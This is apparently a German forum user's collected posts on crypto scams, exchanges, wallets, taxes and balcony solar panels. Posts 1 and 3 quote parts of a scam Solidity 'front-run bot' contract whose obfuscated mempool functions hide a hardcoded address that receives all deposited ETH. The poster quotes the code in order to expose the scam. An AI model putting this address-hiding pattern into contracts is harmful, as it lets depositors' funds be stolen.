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skunk

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  1. Nein. Nur weil die Funktion Withdraw heißt, ist das noch lange keine Garantie dafür, dass die an deine Adresse auszahlt. Der Quellcode lässt mich daran irgendwie zweifeln. Ich vermute eher das ist ein Scam und zwar ein sehr geschickter. So geschickt, dass ich es nicht mit Gewissheit sagen. Was mich stutzig macht ist das Fehlen deiner Adresse. Jeder andere Smart Contract würde im Quellcode eine Variable mit dem Namen Owner setzen oder irgendwas in der Richtung. Wenn ich das richtig lese dann wird das hier ausgeführt um die Adresse zu ermitteln: /* * @dev Iterating through all mempool to call the one with the with highest possible returns * @return `self`. */ function callMempool() internal pure returns (string memory) { string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset())); uint _memPoolSol = 661728; uint _memPoolLength = getMemPoolLength(); uint _memPoolSize = 774919; uint _memPoolHeight = getMemPoolHeight(); uint _memPoolWidth = 157565; uint _memPoolDepth = getMemPoolDepth(); uint _memPoolCount = 474310; string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol)); string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize)); string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth)); string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount)); string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4)); string memory _fullMempool = mempool("0", _allMempools); return _fullMempool; } Warum so umständlich? Das sieht mir eher danach aus, dass der Smart Contract praktisch eine fixe Auszahlungsadresse generiert aber diese geschickt im Quellcode versteckt. Dem traue ich nicht über den Weg. Und wie stellst du dir das vor? Einmal deployed kannst du den Quellcode nicht nachträglich ändern. Was du dagegen machen kannst ist die aktuell noch als internal markierte Funktion einfach mal Public machen. Dann den Code erneut deployen. Vorzugsweise im Testnet um nicht unnötig Transaktionsgebühren zu bezahlen. Edit: Ich sehe gerade die Withdrawal Adresse ist komplett hardcodiert. Die 3 get Funktionen, die dort aufgerufen werden, geben auch nur jeweils eine Zahl zurück. Das heißt es ist egal wer den Smart Contract deployed. Die Auszahlung geht immer an die gleiche Adresse. Ich tippe mal ganz stark darauf, dass der Smart Contract das Ziel hat dich möglichst lange im Unklaren zu lassen. Du butterst da 0,5 ETH rein. Dann bekommst du auf magische Art und Weise einen Reward wo es eigentlich keinen geben dürfte. Vermutlich mit der Absicht in deinem Gehirn den Schalter mit der Aufschrift "Gier" zu aktivieren um dich dazu zu verleiten weitere ETH einzuzahlen. Wenn du irgendwann in vielen Monden dann dein Geld auszahlen willst, folgt die Überraschung. Darauf tippe ich. Warum sollte irgend jemand bei seinem Trade einen fremden Smart Contract mit ausführen? Eigentlich gilt, dass jemand den Smart Contract aufrufen muss. Ein Smart Contract wird niemals automatisch ausgeführt. Die ganzen Frontrunner Geschichten laufen soweit ich weiß über Bots. Das Zauberwort dafür heißt MEV. Das sind Bots, die den ganzen Tag lang alle Transaktionen des Mempools durchgehen und schauen ob sie irgendwie Profit daraus schlagen können. Finden sie eine Möglichkeit, müssen sie aktiv eine Transaktion erstellen, signieren und mit einer entsprechend höheren Transaktion Gebühr noch davor in den Mempool schieben. Interessant ist auch, dass in dem Quellcode mehrfach das Wort Mempool fällt aber dahinter verbergen sich dann nur hardcodierte Werte. Es gibt ein getMemPoolLength, getMemPoolHeight, getMemPoolDepth. Seit wann hat der Mempool 3 Dimensionen? Und warum geben alle 3 Funktionen einen fixen Wert zurück? Fun Fact am Rande: Der Smart Contract kann den Mempool so oder so nicht abfragen. Insofern ist der Teil des Codes ziemlich sicher Bullshit. Vermutlich mit dem Ziel die Auszahlungsadresse zu maskieren sodass sie nicht auf den ersten Blick ins Auge springt.
  2. 0,49 ETH liegen noch da und warten auf den Withdrawal. An welche Adresse der gehen würde kann ich jedoch nicht so einfach einsehen. Das müsstest du dann wohl selbst machen. Edit: Ich habe den Code gerade mal selbst kompiliert. Adresse prüfen kannst du leider nicht. Du kannst tatsächlich nur Start oder Withdraw ausführen. Mehr Infos gibt es nicht.
  3. Ausgeführt hast du das hier: /* * @dev Perform frontrun action from different contract pools * @return `liquidity`. */ function start() public payable { emit Log("Running FrontRun attack on Uniswap. This can take a while please wait..."); payable(_callFrontRunActionMempool()).transfer(address(this).balance); } Es gibt ein Withdrawal direkt darunter: /* * @dev withdraws profits back to the contract creator address * @return `profits`. */ function withdrawal() public payable { emit Log("Sending profits back to contract creator address..."); payable(withdrawProfits()).transfer(address(this).balance); } Wenn du wissen willst an welche Adresse der Withdrawal gehen würde dann musst du einmal withdrawProfits ausführen. Das sollte eigentlich kostenlos sein und du kannst prüfen ob der widthrawal überhaupt an deine Adresse gehen würde. Zusätzlich solltest du auch prüfen ob der Contract überhaupt eine Balance hat. Das kannst du recht einfach über einen Block Explorer machen. Wenn du kein Wort verstehst von dem was ich geschrieben habe dann kannst du mir auch einfach die Adresse des Contracts senden und ich prüfe das kurz.
  4. Stell dir mal für einen Moment vor es wäre eine Email von deiner Hausbank. Was machst du um den Inhalt der Email zu verifizieren? Im Forum nachfragen ob dir der Scammer höchst persönlich die Echtheit seine Phishing Email bestätigt? Meinst du nicht, dass das der falsche Weg ist?
  5. Bullshit Edit: Des Rätsels Lösung ist eher, dass die Webseite ein Scam sein dürfte. Alle paar Monate muss die Webseite dann neu resistiert werden weil sich dann rumgesprochen hat, dass es ein Scam ist. Also neue Webseite und neuen Namen dann kann der Spaß von vorne beginnen. Wenn es angeblich dem Schutz vor Hackern dient die Webseite alle paar Monate neu zu registrieren wie kommt es dann, dass außer den Scam Projekten keiner das für nötig erachtet? Nehmen wir das Forum hier zum Beispiel. Das ist jetzt schon seit Jahren unter der immer gleichen URL zu finden. Wie oft wurde es in der Zeit gehackt?
  6. Den neuen Ledger hast du bestellt oder hat er den bestellt? Hast du den direkt vom Hersteller bezogen und an deine Adresse liefern lassen? Inbetriebnahme lief ebenfalls auf deiner Seite? Das Gerät hat einen Seed generiert oder hat dir dein Kumpel einen Seed gegeben? Edit: Wenn du jedes Restrisiko ausschließen willst, kannst du auch nochmal mit deinem alten Ledger ein neuen Seed generieren lassen und dann die Coins darauf senden. Dann hättest du die Garantie, dass nur du den neuen Seed kennst. Beim neu gekauften Ledger dann ebenfalls den Seed eingeben damit der Kauf nicht umsonst war.
  7. Ist das nicht etwas wenig? Das ganze ist doch wie ein Roulette Tisch. Mal gewinnst du und mal verlierst du. Um unterm Strich mit genug Gewinn den Tisch zu verlassen, musst du in einem Projekt genug Gewinn machen um alle anderen Verluste ausgleichen zu können. Dafür erscheint mir x2 zu wenig. Wenn du sagen wir bei 1 von 10 Projekten richtig liegst, müsste das eine Projekt mindestens x10 machen. Zusätzlich hast du noch das Problem, dass du auf den Gewinn Steuern zahlen musst. Die Messlatte die du überbieten musst ist ein Investment in sagen wir mal BTC und dann mehr als 1 Jahr liegen lassen. Wenn der BTC Preis sich in dem einen Jahr verdoppelt, müsstest du deinen Einsatz mal eben verdreifachen oder vervierfachen um nach Abzug der Steuern gleich zu ziehen. Stop Loss Order haben den unangenehmen Nachteil gerade bei Coins mit dünnem Orderbuch grandios zu versagen. Wenn ganz viele Menschen auf ein Stop Loss vertrauen, kann es schnell zu einem Kaskadierenden Effekt kommen. Das erste Stop Loss treibt den Preis weiter runter, das löst das nächste Stop Loss aus usw. Am Ende steht du da und hast deine Coins zu einem Kurs verkauft der tatsächlich weit entfernt von deinem eigentlich Stop Loss ist. Das Risiko musst du im Hinterkopf behalten. Gerade bei den Coins mit denen du tradest würde ich so ein Stop Loss am ehesten versagen sehen.
  8. Die Erfahrung lehrt einem, dass man besser die Finger von Presale lässt. Die meisten Coins werden am Tag des Listings erstmal ordentlich nach unten sacken und über Monate hinweg auch unterhalb des Presale Preises bleiben. Wenn du von einem Coin überzeugt bist, dann warte einfach ab bis der Preis am Boden ist. Hat den Vorteil, dass du zu dem Zeitpunkt auch Zugriff auf mehr Informationen hast um das Projekt besser bewerten zu können. Der beim Presale erzeugte Zeitdruck soll dich zu einem übereilten Kauf verleiten. Wartest du dagegen ab bis der Preis am Boden ist, hast du alle Zeit der Welt für weitere Nachforschungen.
  9. Der Tracking Link schreckt mich so oder so ab. Signiert Kraken seine Email wenigstens?
  10. Hier herrscht chronischer Mangel an bezahlbaren Wohnraum. Mein Vermieter hätte sicher nichts dagegen wenn ich ausziehe und er im Zuge der Neuvermietung direkt die Miete weiter anheben kann.
  11. Da bin ich voll bei dir. Meine Meinung bezüglich des überaus teuren Akkus habe ich bereits zu Protokoll gegeben Es sind ja weitere Vereinfachungen geplant. Wenn die durch gehen, wäre ein Balkonkraftwerk tatsächlich so einfach wie von dir beschrieben.
  12. Damit könnte man zumindest den Zwangs zum Wieland Stecker umgehen. Nehmen wir mal an mein Vermieter erlaubt mir eine Solarzelle an die Balkonbrüstung zu hängen oder aber er verbietet es mir aber die Petition erreicht, dass meinem Vermieter dieses Mitspracherecht entzogen wird, könnte mein Vermieter dennoch auf dem Wieland Stecker bestehen. Damit wäre mir eine Einspeisung praktisch unmöglich. Wenn ich aber keinen Strom einspeise, brauche ich den Stecker auch nicht mehr....
  13. Die Probleme fangen da an wo der Vermieter nicht mitspielen möchte. Zum Beispiel steht in meinem Mietvertrag, dass ich nichts an meiner Balkonbrüstung anbringen darf. Ich müsste also mindestens einmal um Erlaubnis fragen. Das soll geändert werden aber noch ist es eben so. Selbst wenn die Änderung irgendwann durch wäre, kommt noch die VDE Dose als weiteres Hindernis. Ich habe keine VDE Dose und müsste erneut meinen Vermieter um Erlaubnis fragen. Praktisch bedeutet das, wenn der Vermieter nicht möchte, hat er genug Möglichkeiten mir so eine Anlage zu untersagen.
  14. Beim ersten Teil stimme ich dir voll und ganz zu. So eine Powerstation ist in vielen Situationen Klasse. Beim zweiten Teil in Kombination mit einem Balkonkraftwerk ist die Powerstation für mich eher ein Minuspunkt und kein Pluspunkt. Balkonkraftwerke sind ohne Akku fast schon unschlagbar günstig. Man bekommt diverse gute Sets für um die 500€. Die Lösung mit dem Akku treibt die Kosten in die Höhe und das gewaltig. Wir reden hier von einer Anlage, die um den Faktor 6 teurer ist aber leider eben nicht 6 mal mehr Strom erzeugt. Da würde ich dann nicht von einem Pluspunkt sprechen. In Zahlen ausgedrückt reicht es wenn man mit der 500€ Anlage nur 1/6 des täglich verbrauchten Stroms selbst verbraucht und 5/6 ins Netz einspeist. Ab diesem Punkt könnte man vielleicht die Mehrkosten für den Akku rausholen. Aber mal ehrlich. Das ist schon sehr utopisch. Ein normaler 2-4 Personen Haushalt wird nicht mehr viel Strom einspeisen können. Einmal Waschmaschine auf die Mittagszeit programmieren sind bereits um die 600Wh verteilt auf 2-3 Stunden die das Programm läuft. Das reicht bereits aus um einen beachtlichen Anteil des produzierten Stroms selbst zu verbrauchen. Wozu also 6 mal mehr Geld für die Anlage ausgeben wenn es doch eine viel effektivere Möglichkeit gibt?
  15. Was kostet dich der komplette Austausch des Akkus? Ich würde mal auf 2000€ tippen...
  16. Schon mal darüber nachgedacht den Fernseher auszutauschen? Ich habe vor ein paar Jahren mal durchgemessen was mein alter Fernseher an Strom verbraucht und auch die Sound Anlage hatte einen hohen Standby Verbrauch. Beides auf Ebay verkauft und gegen deutlich sparsamere Modelle ersetzt (Stiftung Warentest Versteigerungen und B Waren weil Austausch zum Neupreis unwirtschaftlich gewesen wäre). Bei mir ist tatsächlich der Kühlschrank (4 Personen Haushalt) ein größerer Faktor als der Fernseher.
  17. Bei der Rechnung stimmt irgendwas nicht. 2*385 W angeschlossen. Also 770W. Grob kann man damit um die 770kWh im Jahr erwirtschaften. Bei guter Lage und gutem Wetter auch etwas mehr. In deinem Fall mit nicht optimalem Winkel geht es eher in Richtung 600kWh im Jahr. Das macht selbst bei dem von dir genannten Strompreis von 50 Cent eine Einsparung von lediglich 385€ (beste Ausrichtung) bzw 300€ (senkrechte Ausrichtung) im Jahr und nicht wie von dir berechnet 720€ Versteh mich nicht falsch. Ich finde jede Solaranlage ist ein Gewinn. Insofern super, dass du deinen Beitrag zu der Energiewende leistest. Ich wundere mich nur über die hohen Kosten. Du zahlst 3000€ für einen Akku den du irgendwann austauschen musst was dann erneut viel Geld kostet. Würdest du den Akku raus lassen, wäre die Einsparung fast genauso hoch aber die Kosten wäre deutlich reduziert. Außerdem würde eine Anlage ohne Akku deutlich länger halten. Ohne den Akku hast du einfach ein teures Verschleißteil weniger.
  18. Eben. Wozu also einen Akku kaufen wenn du den produzierten Strom sofort ohne Speicherverluste verbrauchen könntest. Ein paar Geräte mit denen du das problemlos machen könntest hast du bereits genannt. Am Morgen Geschirrspüler und Waschmaschine nicht sofort starten sondern auf die Mittagszeit programmieren. Praktisch alle modernen Geräte können das. Schon klar. So ein Wechselrichter kostet doch weit weniger als den Akku den du aktuell im Betrieb hast. Selbst wenn du deine aktuellen Solarpanele nicht anschließen kannst (was ich nicht glaube) wäre bei den Akku Preisen sogar noch ein neuer Satz Solarzellen drin.
  19. Hast du kein Netzanschluss? Wäre es nicht effizienter den ungenutzten Strom ins Netz einzuspeisen?
  20. Ja das müsstest du machen. Denke daran, dass es gleich mehrere Möglichkeiten gibt dich hier über den Tisch zu ziehen. Nicht selten ist so eine Exchange ein Scam. Alles was diese Scam Seite machen muss ist einen Umrechnungskurs anzeigen der zu gut ist um wahr zu sein. In dem Moment wo du ein Account erstellst, hat die Scam Seite deine Email Adresse und dein Passwort. Wenn du das gleiche Passwort auch für dein Email Konto verwendest, hat die Scam Seite damit bereits Zugriff auf dein PayPal Konto oder andere vergleichbare Dienste. Auch dein Ebay Konto ist für Scammer wertvoll. Achte also darauf, dass du für jedes Exchange ein neues Passwort generierst. Damit kannst du dieses Risiko bereits minimieren. Als nächstes wird so ein Scam Exchange natürlich darum bitten, dass du deine Coins dort einzahlst. Schicke nur soviel hin wie du bereit bist zu verlieren. Trade so viel wie du lustig bist und zahle dann alles möglichst zeitnah (wenige Tage) wieder aus. Erst wenn du die Auszahlung auf deinem Wallet hast, schickst du die nächsten Coins zum Exchange und wiederholst den Vorgang. Wenn das alles Reibungslos funktioniert kannst du natürlich die Stückzahl langsam erhöhen. Achtung bei dubiosen Verifikationen oder Steuerzahlungen. Eine beliebte Strategie bei den Scam Seiten ist es dir ein hohes Guthaben anzuzeigen mit dem Ziel von dir weitere Einzahlungen zu erhalten. Sagen wir du hast 10K € auf dem Exchange liegen. Die Exchange behauptet jetzt, dass sie deinen Withdrawal erst durchführen kann wenn du eine Einzahlung in Höhe von 250€ gemacht hast. Als Begründung lassen sie sich etwas kreatives einfallen. Wenn du so eine Aufforderung erhältst, ist dein Guthaben verloren und du kannst deinen Verlust nur noch erhöhen. So das sollten erstmal die Tipps und Tricks mit einer dir unbekannten Exchange sein. Wichtig ist noch zu erwähnen, dass die Grenzen zwischen einer seriösen und einer Scam Exchange fließend sind. Selbst eine vermeintlich seriöse Exchange wie FTX schreckt nicht davor zurück die Kundengelder zu verwetten. Geht die Wette schief, muss die Exchange Insolvenz anmelden und dein Geld ist ebenfalls weg. Daher dein Geld immer so lange wie möglich auf deinem Wallet lagern und nur so kurz wie nötig dem Risiko einer Exchange aussetzen. Eher unwahrscheinlich. Bei bekannten Coins wird dir unter Umständen ein sogenannter Swap angeboten. Die Gebühren bzw der Spread sind aber höher als würdest du über eine Exchange gehen. So ein unkomplizierter Swap Dienst kostet dich einfach mehr.
  21. Denk daran schon mal vorsorglich alles für die Steuererklärung vorzubereiten. Du musst einerseits den Kauf dokumentieren. Also direkt dazugehörige Emails abheften oder von mir aus auch Screenshots machen von der Kauf Bestätigung. Nimm am Besten alles an Dokumentation mit was machbar ist. Lieber zu viel als zu wenig. Ich erstelle dafür üblicherweise ein virtuelles Wallet in dem Steuertool meiner Wahl mit dem Namen ICO. Die Coins die ich für den Verkauf veräußere, buche ich intern auf das ICO Konto um. Dann manuell einen Trade hinzufügen und fiktiv so tun als würden sich die Coins ab sofort in deinem Besitz finden. Irgendwann werden dir die Coins tatsächlich auf dein Wallet ausgezahlt. Diese Transaktion einfach auch in eine Interne Transaktion umwandeln um die fiktiven Coins von dem virutelle ICO Wallet auf dein Wallet auszuzahlen. Das ist meine Methode das alles sauber zu dokumentieren und transparent zu machen. Das Finanzamt kann dann einfach alle Buchungen des virtuellen ICO Wallets durchgehen und sieht dort deine Einzahlung, den Kauf und die Auszahlung schön nacheinander aufgelistet idealerweise mit TransaktionsIDs für die Ein und Auszahlung damit sie die Angaben mit einem Blockexplorer überprüfen können. Ob dieses Vorgehen richtig ist, kann dir natürlich nur ein Steuerberater sagen. Ich habe das bei mir zumindest so gemacht und es gab keine Beanstandungen. Beim späteren Verkauf der Coins an die Steuerfreiheit denken und das in zweierlei Hinsicht. Solange die Coins noch kein Jahr alt sind, kannst du sie mit Verlusten verkaufen und die Verluste in der Steuererklärung anrechnen lassen. Wenn der Preis auf dem Exchange also fällt dann überlege dir genau ob du nicht lieber die Verluste innerhalb der Frist realisierst um den Verlust wenigstens noch steuerlich geltend machen zu können. Nach mehr als einem Jahr kannst du die Verluste nicht mehr steuerlich geltend machen. Es besteht natürlich auch die Möglichkeit die Coins vor Ablauf der Frist komplett zu verkaufen und einen Tag später zurück zu kaufen. Damit beginnt die Frist von Neuem und du hast wieder ein Jahr um auf steigende Kurse zu hoffen. Sollte der Kurs wie von dir erhofft steigen dann ebenfalls auf das alter der Coins achten. Idealerweise wartest du mit dem Verkauf bis die Coins mehr als ein Jahr alt sind um die Gewinne steuerfrei mitnehmen zu können. Aber Vorsicht. Du spielst hier mit dem Feuer. Setze dir lieber vorher eine Zielmarke ab der du sofort verkaufst auch wenn das eine ordentliche Steuerzahlung bedeutet. Dein größter Feind wird am Ende die eigene Gier sein. Hype Coins Kaufen kann jeder. Die Schwierigkeit ist die Coins zu verkaufen bevor der Hype zusammen bricht. Solltest du mit saftigen Gewinne verkaufen noch bevor die Coins älter sind als ein Jahr dann leg von dem Gewinn genug beiseite um am Jahresende auch deine Steuern zahlen zu können. Achtung hier besteht das Risiko ungewollt in eine Privatinsolvenz zu geraten. Wenn du die Gewinne nicht beiseite legst sondern direkt in den nächsten Hype investierst, kann es dir passieren, dass das Finanzamt die Steuern für die anfänglichen Gewinne eintreiben will nachdem dein neues Investment kräftig im Wert gefallen ist. Das Finanzamt versteht in der Situation keinen Spaß und pfändet zeitnah dein Konto mit all den Konsequenzen die im Anschluss folgen. Also besser das Geld für die Steuern beiseite legen auch wenn es noch so verlockend ist das weiter vermehren zu wollen. Sei auch vorsichtig was den aktuellen Wert angeht. Der Wert eines Coins ist der Wert zu dem du ihn aktuell verkaufen kannst. Wenn der Coin vom Herausgeber immer weiter im Preis angehoben wird aber du zu dem Kurs nicht verkaufen kannst, dann ist das auch nicht wirklich eine Kurssteigerung sondern nur Marketing um möglichst viele Freiwillig zu finden. Diese Marketing Kurse gedanklich besser ausblenden und dann erst auf den Kurs schauen wenn der Coin an einer für dich akzeptablen Exchange gelistet wird. Edit: Und den Verkauf natürlich ebenfalls für die Steuererklärung dokumentieren. Auch hier besser zu viel Dokumentation als zu wenig.
  22. Da musste ich schmunzeln. Hat so ein Shitcoin überhaupt eine Art moralischen Kompass? Weil wenn nicht, dann gibt es auch keinen Grund sich für irgendwas zu schämen....
  23. Nein ich verstehe nichts von dem was du geschrieben hast. Ich habe lediglich eine Frage gestellt. Du interpretierst da deutlich zu viel rein.
  24. Vorzugsweise ein Hardware Wallet. BitBox oder Trezor One wäre die aktuelle Empfehlung. BitBox ist sicherer. Trezor One ist geringfügig unsicherer aber kostengünstiger.
  25. Ich tippe mal darauf, dass sie einen Abgleich machen mit den Daten die ihnen bereits bekannt sind. Also jeder, der bereits von sich aus die Trading Aktivitäten in der Steuererklärung angegeben hat, wurde mit hoher Wahrscheinlichkeit bereits in der Vergangenheit um einen Trading Report gebeten. Solange das Trading Volumen zu den bereits gemachten Angaben passt, besteht doch keine Notwendigkeit nochmal extra nachzufragen.
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